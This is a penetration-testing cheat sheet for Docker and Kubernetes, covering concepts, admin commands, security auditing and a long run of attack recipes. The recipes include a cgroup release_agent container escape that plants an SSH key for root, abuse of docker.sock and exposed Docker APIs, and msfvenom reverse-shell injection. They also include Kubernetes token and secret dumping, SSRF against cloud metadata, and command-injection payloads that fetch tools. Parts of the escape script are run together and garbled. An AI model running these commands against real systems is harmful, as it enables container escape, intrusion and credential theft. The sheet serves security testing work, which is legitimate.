Docker && Kubernetes

Docker

Concepts

Docker Image
- Read only file with OS, libraries and apps
- Anyone can create a docker image
- Images can be stored in Docker hub (default public registry) or private registry
Docker Container
- Stateful instance of an image with a writable layer
- Contains everything needed to run your application
- Based on one or more images
Docker Registry
- Repository of images
Docker Hub
- Public docker registry
Dockerfile
- Configuration file that contains instructions for building a Docker image
Docker-compose file
- Configuration file for docker-compose
Docker Swarm
- Group of machines that are running Docker and joined into a cluster.
- When you run docker commands, they are executed by a swarm manager.
Portainer
- Management solution for Docker hosts and Docker Swarm clusters
- Via web interface
Docker capabilities
- Turn the binary "root/non-root" into a fine-grained access control system.
- Processes that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.
Docker Control Groups
- Used to allocate cpu, memory, network bandwith of host to container groups.

Commands

# Search in docker hub
docker search wpscan
# Run docker container from docker hub
docker run ubuntu:latest echo "Welcome to Ubuntu"
# Run docker container from docker hub with interactive tty
docker run --name samplecontainer -it ubuntu:latest /bin/bash
# List running containers
docker ps
# List all containers
docker ps -a
# List docker images
docker images
# Run docker in background
docker run --name pingcontainer -d alpine:latest ping 127.0.0.1 -c 50
# Get container logs
docker logs -f pingcontainer
# Run container service in specified port
docker run -d --name nginxalpine -p 7777:80 nginx:alpine
# Access tty of running container
docker exec -it nginxalpine sh
# Get low-level info of docker object
docker inspect (container or image)
# Show image history
docker history jess/htop
# Stop container
docker stop dummynginx
# Remove container
docker rm dummynginx
# Run docker with specified PID namespace
docker run --rm -it --pid=host jess/htop

# Show logs
docker logs containername
docker logs -f containername
# Show service defined logs
docker service logs
# Look generated real time events by docker runtime
docker system events
docker events --since '10m'
docker events --filter 'image=alpine'
docker events --filter 'event=stop'

# Compose application (set up multicontainer docker app)
docker-compose up -d
# List docker volumes
docker volume ls
# Create volume
docker volume create vol1
# List docker networks
docker network ls
# Create docker network
docker network create net1
# Remove captability of container
docker run --rm -it --cap-drop=NET_RAW alpine sh
# Check capabilities inside container
docker run --rm -it 71aa5f3f90dc bash
capsh --print
# Run full privileged container
docker run --rm -it --privileged=true 71aa5f3f90dc bash
capsh --print
# From full privileged container you can access host devices
more /dev/kmsg

# Creating container groups
docker run -d --name='low_priority' --cpuset-cpus=0 --cpu-shares=10 alpine md5sum /dev/urandom
docker run -d --name='high_priority' --cpuset-cpus=0 --cpu-shares=50 alpine md5sum /dev/urandom
# Stopping cgroups
docker stop low_priority high_priority
# Remove cgroups
docker rm low_priority high_priority

# Setup docker swarm cluster
docker swarm init
# Check swarm nodes
docker node ls
# Start new service in cluster
docker service create --replicas 1 --publish 5555:80 --name nginxservice
nginx:alpine
# List services
docker service ls
# Inspect service
docker service inspect --pretty nginxservice
# Remove service
docker service rm nginxservice
# Leave cluster
docker swarm leave (--force if only one node)

# Start portainer
docker run -d -p 9000:9000 --name portainer \
--restart always -v /var/run/docker.sock:/var/run/docker.sock \
-v /opt/portainer:/data portainer/portainer


# Tools
# https://github.com/lightspin-tech/red-kube

Docker security basics

# Get image checksum
docker images --digests ubuntu
# Check content trust to get signatures
docker trust inspect mediawiki --pretty
# Check vulns in container
- Look vulns in base image
- Use https://vulners.com/audit to check for docker packages
- Inside any container
cat /etc/issue
dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
- Using Trivy https://github.com/aquasecurity/trivy
trivy image knqyf263/vuln-image:1.2.3
# Check metadata, secrets, env variables
docker inspect <image name>
docker inspect <container name>
# Review image history
docker history image:latest
# Inspect everything
docker volume inspect wordpress_db_data
docker network inspect wordpress_default
# Interesting look in the volume mountpoints
docker volume inspect whatever
cd /var/lib/docker/volumes/whatever
# Integrity check for changed files
docker diff imagename
# Check if you're under a container
https://github.com/genuinetools/amicontained#usage
# Docker Bench Security (Security Auditor)
cd /opt/docker-bench-security
sudo bash docker-bench-security.sh

Detect inside a docker or running containers

- MAC Address
    - Docker uses a range from 02:42:ac:11:00:00 to 02:42:ac:11:ff:ff
- List of running processes (ps aux)
    - Small number of processes generally indicate a container
- CGROUPs
    - cat /proc/1/cgroup – should show docker process running
- Check for existence of docker.sock (ls -al /var/run/docker.sock)
- Check for container capabilities: capsh –print
- On Pentests, check for tcp ports 2375 and 2376 – Default docker daemon ports

Escape NET_ADMIN docker container

# Check if you're NET_ADMIN
ip link add dummy0 type dummy
ip link delete dummy0
# If it works, this script execute 'ps aux' in host:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# You can replace the 'ps aux' command for:
cat id_dsa.pub >> /root/.ssh/authorized_keys

Attack insecure volume mounts

# After get reverse shell in docker container (eg insecure webapp with RCE)
# This commands are executed inside insecure docker container
# Check if it's available docker.sock
ls -l /var/run/docker.sock
# This allows to access the host docker service using host option with docker client by using the UNIX socket
# Now download docker client in container and run commands in host
./docker -H unix:///var/run/docker.sock ps
./docker -H unix:///var/run/docker.sock images

Attack docker misconfiguration

# Docker container with exposed ports running docker service
# Docker API is exposed in those docker ports
# Check query docker API with curl
curl 10.11.1.111:2375/images/json | jq .
# Then you can run commands in host machine
docker -H tcp://10.11.1.111:2375 ps
docker -H tcp://10.11.1.111:2375 images

Audit Docker Runtime and Registries

# Runtime

# Host with multiple dockers running
# Check docker daemon
docker system info
# Check docker API exposed on 0.0.0.0
cat /lib/systemd/system/docker.service
# Check if docker socket is running in any container
docker inspect | grep -i '/var/run/'
# Check rest of files docker related
ls -l /var/lib/docker/
# Check for any secret folder
ls -l /var/run/
ls -l /run/

# Public Registries
# Docker registry is a distribution system for Docker images. There will be diferent images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS
# Check if docker registry is up and running
curl -s http://localhost:5000/v2/_catalog | jq .
# Get tags of docker image
curl -s http://localhost:5000/v2/devcode/tags/list | jq .
# Download image locally
docker pull localhost:5000/devcode:latest
# Access container to review it
docker run --rm -it localhost:5000/devcode:latest sh
# Once mounted we can check the docker daemon config to see user and registry
docker system info
# And we can check the registries configured for the creds
cat ~/.docker/config.json

# Private registries
# Check catalog
curl 10.11.1.111:5000/v2/_catalog
# Get image tags
curl 10.11.1.111:5000/v2/privatecode/tags/list
# Add the insecure-registry tag to download docker image
vi /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry 10.11.1.111:5000
# Restart docker service
sudo systemctl daemon-reload
sudo service docker restart
# Download the image
docker pull 10.11.1.111:5000/privatecode:whatevertag
# Enter inside container and enumerate
docker run --rm -it 10.11.1.111:5000/privatecode:golang-developer-team sh
cd /app
ls -la

Attack container capabilities

# Host with sys_ptrace capability enabled with host PID space. So it runs top command of host
# You're already inside container
# Check capabilities
capsh --print
# Upload reverse shell and linux-injector
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o payload.bin
# Check any process running as root
ps aux | grep root
./injector PID_RUNNING_AS_ROOT payload.bin

Tools

# https://github.com/anchore/grype
# https://github.com/aquasecurity/trivy
# https://github.com/cr0hn/dockerscan
# https://github.com/P3GLEG/Whaler
# https://github.com/RhinoSecurityLabs/ccat
https://github.com/stealthcopter/deepce
https://github.com/anchore/grype

Kubernetes

Kubernetes for Pentesters: Part 1TrustedSec

A Pentester’s Approach to Kubernetes Security — Part 1Appsecco

A Pentester’s Approach to Kubernetes Security — Part 2Appsecco

Penetration testing a Kubernetes environmentMedium

Concepts

Kubernetes is a security orchestrator
Kubernetes master provides an API to interact with nodes
Each Kubernetes node run kubelet to interact with API and kube-proxy to refect Kubernetes networking services on each node.
Kubernetes objects are abstractions of states of your system.
- Pods: collection of container share a network and namespace in the same node.
- Services: Group of pods running in the cluster.
- Volumes: directory accesible to all containers in a pod. Solves the problem of loose info when container crash and restart.
- Namespaces: scope of Kubernetes objects, like a workspace (dev-space).

Commands

# kubectl cli for run commands against Kubernetes clusters
# Get info
kubectl cluster-info
# Get other objects info
kubectl get nodes
kubectl get pods
kubectl get services
# Deploy
kubectl run nginxdeployment --image=nginx:alpine
# Port forward to local machine
kubectl port-forward <PODNAME> 1234:80
# Deleting things
kubectl delete pod
# Shell in pod
kubectl exec -it <PODNAME> sh
# Check pod log
kubectl logs <PODNAME>
# List API resources
kubectl api-resources
# Check permissions
kubectl auth can-i create pods
# Get secrets
kubectl get secrets <SECRETNAME> -o yaml
# Get more info of specific pod
kubectl describe pod <PODNAME>
# Get cluster info
kubectl cluster-info dump

# Known vulns
CVE-2016-9962
CVE-2018-1002105
CVE-2019-5736
CVE-2019-9901

External Recon

# Find subdomains like k8s.target.tld
# Search for yaml files on GitHub
# Check etcdtcl exposed public 
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
# Check pods info disclosure on http://<external-IP>:10255/pods

Common open ports

Common endpoints

Quick attacks

# Dump all
for res in $(kubectl api-resources -o name);do kubectl get "${res}" -A -o yaml > ${res}.yaml; done

# Check for anon access
curl -k https://<master_ip>:<port>
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
curl http://<external-IP>:10255/pods

#Dump tokens from inside the pod
kubectl exec -ti <pod> -n <namespace> cat /run/secrets/kubernetes.io/serviceaccount/token

#Dump all tokens from secrets
kubectl get secrets -A -o yaml | grep " token:" | sort | uniq > alltokens.txt

#Standard query for creds dump:
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/<namespace>/secrets/
# This also could works /api/v1/namespaces/kube-system/secrets/

Attack Private Registry misconfiguration

# Web application deployed vulnerable to lfi
# Read configuration through LFI
cat /root/.docker/config.json
# Download this file to your host and configure in your system
docker login -u _json_key -p "$(cat config.json)" https://gcr.io
# Pull the private registry image to get the backend source code
docker pull gcr.io/training-automation-stuff/backend-source-code:latest
# Inspect and enumerate the image
docker run --rm -it gcr.io/training-automation-stuff/backend-source-code:latest
# Check for secrets inside container
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
# Check environment vars
printenv

Attack Cluster Metadata with SSRF

# Webapp that check the health of other web applications
# Request to 
curl http://169.254.169.254/computeMetadata/v1/
curl http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env

Attack escaping pod volume mounts to access node and host

# Webapp makes ping
# add some listing to find docker.sock
ping whatever;ls -l /custom/docker/
# Once found, download docker client
ping whatever;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O /root/docker-18.09.1.tgz
ping whatever;tar -xvzf /root/docker-18.09.1.tgz -C /root/
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock ps
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock images

Tools

# kube-bench - secutity checker
kubectl apply -f kube-bench-node.yaml
kubectl get pods --selector job-name=kube-bench-node
kubectl logs kube-bench-podname

# https://github.com/aquasecurity/kube-hunter
kube-hunter --remote some.node.com

# kubeaudit
./kubeaudit all

# kubeletctl
# https://github.com/cyberark/kubeletctl
kubeletctl scan rce XXXXXXXX

# https://github.com/cdk-team/CDK
cdk evaluate

# Api audit
# https://github.com/averonesis/kubolt

# PurplePanda https://github.com/carlospolop/PurplePanda

Argo Workflows - Uncovering the Hidden Misconfigurations | E.V.A

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Docker

Concepts

Commands

Docker security basics

Detect inside a docker or running containers

Escape NET_ADMIN docker container

Attack insecure volume mounts

Attack docker misconfiguration

Audit Docker Runtime and Registries

Attack container capabilities

Tools

Kubernetes

Concepts

Commands

External Recon

Common open ports

Common endpoints

Quick attacks

Attack Private Registry misconfiguration

Attack Cluster Metadata with SSRF

Attack escaping pod volume mounts to access node and host

Tools

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